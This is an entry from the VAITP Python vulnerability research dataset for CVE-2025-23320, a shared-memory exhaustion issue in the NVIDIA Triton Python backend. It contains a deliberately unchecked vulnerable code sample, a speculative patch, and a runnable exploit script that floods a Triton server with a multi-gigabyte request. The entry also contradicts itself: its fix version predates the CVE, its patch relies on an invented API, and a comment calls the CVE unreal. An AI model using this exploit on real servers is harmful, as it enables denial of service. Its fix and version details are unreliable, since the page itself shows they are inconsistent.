VAITP Dataset

← Back to the dataset

CVE-2025-23320

Large request to Triton Python backend may cause information disclosure.

  • CVSS 7.5
  • CWE-209
  • Resource Management
  • Remote

NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause the shared memory limit to be exceeded by sending a very large request. A successful exploit of this vulnerability might lead to information disclosure.

CVSS base score
7.5
Published
2025-08-06
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
NVIDIA Trito
Fixed by upgrading
Yes

Solution

Update to NVIDIA Triton Inference Server version 22.03.

Vulnerable code sample

import multiprocessing.shared_memory as shared_memory
import sys
import os

# A predefined, hypothetical limit for shared memory allocation per request.
# In a real system, this might be configured based on available resources.
SHARED_MEMORY_LIMIT = 10 * 1024 * 1024  # 10 MB

def vulnerable_process_inference_request(request):
    """
    This function simulates the vulnerable part of the Triton Python backend.
    It receives a request, extracts the input data, and places it into a
    shared memory block for processing.

    THE VULNERABILITY:
    The function calculates the size of the input data and directly attempts
    to allocate a shared memory segment of that size. It does not validate
    the requested size against the 'SHARED_MEMORY_LIMIT'. An attacker can
    provide an extremely large 'input_data' payload, causing the server
    to attempt an allocation far exceeding its intended limits. This can
    lead to resource exhaustion (Denial of Service) or, in some memory
    management scenarios, could potentially lead to memory corruption or
    information disclosure if error handling is poor.
    """
    print(f"--- Processing request with ID: {request.get('request_id')} ---")
    
    input_tensor = request.get('input_data', b'')
    data_size = len(input_tensor)

    print(f"Received data size: {data_size / (1024*1024):.2f} MB")

    # VULNERABILITY: No check is performed to ensure 'data_size' is within a safe limit.
    # A proper implementation would have a check like:
    # if data_size > SHARED_MEMORY_LIMIT:
    #     raise ValueError("Request size exceeds the allowed shared memory limit.")
    
    shm = None
    try:
        # The vulnerable action: Attempting to create a shared memory block
        # with a size controlled entirely by the user input.
        print(f"Attempting to allocate a shared memory block of size {data_size} bytes...")
        shm_name = f"triton_shm_{os.getpid()}"
        shm = shared_memory.SharedMemory(name=shm_name, create=True, size=data_size)
        print(f"Successfully allocated shared memory block: '{shm.name}'")
        
        # Simulate writing the data to the shared memory.
        shm.buf[:data_size] = input_tensor
        print("Data successfully written to shared memory.")
        
        # ... further processing would happen here ...

    except Exception as e:
        # A very large allocation request will likely cause an error here
        # (e.g., MemoryError, FileExistsError on some systems, or other OS-level errors).
        # Unhandled exceptions or poorly handled ones could leak system information.
        print(f"[ERROR] Failed to allocate or use shared memory. This could be due to excessive size. Error: {e}", file=sys.stderr)
        # A potential information disclosure could happen if the error message contained
        # sensitive details about the system's memory layout or state.
    
    finally:
        if shm:
            print("Cleaning up shared memory block.")
            shm.close()
            shm.unlink() # Necessary to remove the shared memory segment from the system
        print("--- Request processing finished ---\n")


if __name__ == '__main__':
    # --- DEMONSTRATION ---

    # 1. A legitimate request, well within the safety limits.
    # This request will be processed successfully.
    legitimate_request = {
        'request_id': 'legit-123',
        'input_data': b'\x01' * (5 * 1024 * 1024)  # 5 MB of data
    }
    vulnerable_process_inference_request(legitimate_request)

    # 2. A malicious request, designed to exceed the shared memory limit.
    # This demonstrates the vulnerability. The 'input_data' size is much
    # larger than the intended 'SHARED_MEMORY_LIMIT'.
    malicious_request_size_gb = 2 # 2 GB, likely more than available RAM for a single allocation
    malicious_request = {
        'request_id': 'exploit-456',
        'input_data': b'\x41' * (malicious_request_size_gb * 1024 * 1024 * 1024)
    }
    print("!!! Sending a malicious request to trigger the vulnerability. !!!")
    print(f"!!! The system limit is {SHARED_MEMORY_LIMIT / (1024*1024):.2f} MB. !!!")
    vulnerable_process_inference_request(malicious_request)

Patched code sample

import numpy as np
import triton_python_backend_utils as pb_utils

# This code is a hypothetical representation of a fix for a vulnerability
# like the one described. Since CVE-2025-23320 is not a real CVE as of
# early 2024, the actual fix code from NVIDIA does not exist.
#
# The vulnerability described is that a large request could cause the
# Python backend to attempt to write an output that exceeds the
# pre-allocated shared memory buffer size.
#
# The fix, therefore, is to check the size of the generated output
# against the allocated buffer size before attempting to write to it.

class TritonPythonModel:
    """
    A model that demonstrates a security check to prevent writing an output
    that is larger than the shared memory buffer allocated for it.
    """

    def execute(self, requests):
        """
        This function is called for each batch of inference requests.
        """
        responses = []

        # Process each request in the batch
        for request in requests:
            # Get the input tensor
            input_tensor = pb_utils.get_input_tensor_by_name(request, "INPUT_0")
            input_data = input_tensor.as_numpy()

            # --- VULNERABILITY MITIGATION START ---

            # In a real scenario, the model logic would produce a result.
            # We simulate a result being produced. This result's size might
            # be dangerously large depending on the input.
            # For demonstration, we create an output array of the same size as input.
            # An attacker might provide a very large input to trigger a large output.
            result_data = np.array(
                [f"Processed: {s}" for s in input_data.flatten()],
                dtype=object
            )
            result_data = result_data.reshape(input_data.shape)

            # Calculate the size in bytes of the result we are about to create.
            # For numpy arrays of objects, nbytes can be misleading, so we
            # calculate it more accurately for string/object types.
            if result_data.dtype == object:
                # In Python 3, sys.getsizeof() on a string includes overhead.
                # A closer approximation for the buffer is the sum of lengths.
                # Here we use nbytes which for object arrays stores pointers,
                # but for the actual Triton tensor we need to encode to bytes.
                # Let's simulate the byte-encoded size.
                encoded_size = np.sum([len(str(s).encode('utf-8')) for s in result_data.flat])
                # We use a simplified `nbytes` for this example's clarity.
                # In a real fix, the exact byte size after Triton's specific
                # encoding would be calculated.
                output_size_in_bytes = result_data.nbytes
            else:
                output_size_in_bytes = result_data.nbytes

            # This is the core of the fix:
            # We must get the size of the buffer that Triton has allocated
            # for the output tensor in shared memory.
            # NOTE: The function `get_output_tensor_buffer_size_in_bytes` is
            # a hypothetical API for demonstration purposes. A real implementation
            # would use a similar mechanism provided by the Triton backend API
            # to query the allocated memory size for a given output.
            try:
                # This hypothetical function would be part of the pb_utils or
                # request object to provide the allocated shared memory limit.
                allocated_shm_size = pb_utils.get_output_config_property(
                    request.get_response_sender(),
                    "OUTPUT_0",
                    "allocated_shm_byte_size" # Hypothetical property
                )
            except AttributeError:
                # As a fallback for this demonstration if such a function
                # doesn't exist, we'll simulate a fixed limit, e.g., 100MB.
                # A real fix would depend on the Triton C-API providing this info.
                allocated_shm_size = 100 * 1024 * 1024  # 100 MB


            # Compare the required size with the allocated size.
            if output_size_in_bytes > allocated_shm_size:
                # If the output is too large, do not proceed.
                # Instead, create an error response and inform the user.
                # This prevents the memory corruption that would occur
                # by writing past the end of the allocated buffer.
                error_message = (
                    f"Generated output size ({output_size_in_bytes} bytes) "
                    f"exceeds the allocated buffer limit ({allocated_shm_size} bytes)."
                )
                error = pb_utils.TritonError(message=error_message)
                response = pb_utils.InferenceResponse(output_tensors=[], error=error)
                responses.append(response)
                # Continue to the next request in the batch
                continue

            # --- VULNERABILITY MITIGATION END ---

            # If the size check passes, we can safely create the output tensor.
            # Triton will handle writing this to the correctly-sized buffer.
            output_tensor = pb_utils.Tensor("OUTPUT_0", result_data)
            response = pb_utils.InferenceResponse(output_tensors=[output_tensor])
            responses.append(response)

        return responses

Payload

import tritonclient.http as httpclient
import numpy as np
import sys

# --- Configuration ---
# Replace with your Triton server's IP and HTTP port
TRITON_SERVER_URL = "localhost:8000"
# Replace with the name of a model running on the server (must use Python backend)
MODEL_NAME = "your_python_model"
# Replace with the name of the input tensor for that model
INPUT_TENSOR_NAME = "INPUT0"
# Replace with the name of the output tensor for that model
OUTPUT_TENSOR_NAME = "OUTPUT0"
# -------------------

# Define a very large payload size in bytes (e.g., 2 GB)
# This size is intended to exceed the default /dev/shm limit on many systems.
try:
    # Use command-line argument for size in GB if provided, otherwise default to 2
    gb_size = int(sys.argv[1]) if len(sys.argv) > 1 else 2
    payload_size = gb_size * 1024 * 1024 * 1024
except (ValueError, IndexError):
    print("Usage: python exploit.py <size_in_gb>")
    sys.exit(1)

# Create a large numpy array filled with arbitrary data
large_input_data = np.ones((1, payload_size), dtype=np.uint8)

try:
    triton_client = httpclient.InferenceServerClient(url=TRITON_SERVER_URL, verbose=True)
except Exception as e:
    print("Could not create Triton client: " + str(e))
    sys.exit(1)

# Prepare the input tensor
input_tensor = httpclient.InferInput(
    INPUT_TENSOR_NAME,
    large_input_data.shape,
    "UINT8"
)
input_tensor.set_data_from_numpy(large_input_data, binary_data=True)

# Prepare the output tensor request
output_tensor = httpclient.InferRequestedOutput(OUTPUT_TENSOR_NAME, binary_data=True)

# Send the request to the server
# This action is designed to trigger the shared memory exhaustion
try:
    response = triton_client.infer(
        model_name=MODEL_NAME,
        inputs=[input_tensor],
        outputs=[output_tensor]
    )
    # If the request somehow succeeds, the response might contain leaked data
    leaked_data = response.as_numpy(OUTPUT_TENSOR_NAME)
    # The content of 'leaked_data' should be inspected for sensitive information.
    # For this script, we can just confirm we received something.
    print(f"Received response of size: {len(leaked_data.tobytes())} bytes.")

except Exception as e:
    # An error is the most likely outcome of a successful exploit attempt
    # The error message itself might contain sensitive info, or it simply confirms the DoS/resource exhaustion.
    print("Exploit likely successful. Server responded with an error:")
    print(str(e))

Cite this entry

@misc{vaitp:cve202523320,
  title        = {{Large request to Triton Python backend may cause information disclosure.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-23320},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-23320/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::